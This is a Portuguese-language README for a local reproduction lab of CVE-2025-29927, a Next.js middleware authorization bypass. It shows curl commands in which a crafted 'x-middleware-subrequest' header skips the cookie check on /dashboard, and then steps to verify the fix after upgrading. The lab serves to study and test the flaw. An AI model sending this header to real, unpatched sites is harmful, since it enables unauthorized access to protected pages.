
Laboratório de reprodução para CVE-2025-29927 — bypass de autorização do middleware do Next.js (CVSS 9.1)
Laboratório de reprodução mínima para CVE-2025-29927 — bypass de autorização do middleware do Next.js (CVSS 9.1).
Material complementar: Análise N-Day publicada no Medium
Um aplicativo Next.js 15.2.2 (vulnerável) com uma rota /dashboard protegida por cookie. A verificação de autenticação do middleware pode ser ignorada enviando um único cabeçalho HTTP — nenhuma credencial é necessária.
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
Passo 1 — Confirme que o middleware bloqueia requisições não autenticadas:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
Passo 2 — Ignore o middleware com o cabeçalho de subrequest:
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
Passo 3 — Atualize para a versão corrigida e confirme que o bypass está bloqueado:
npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307
| Rota | Acesso |
|---|---|
/ | Público |
/login | Público |
/dashboard | Protegida pelo middleware (requer cookie de session) |
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5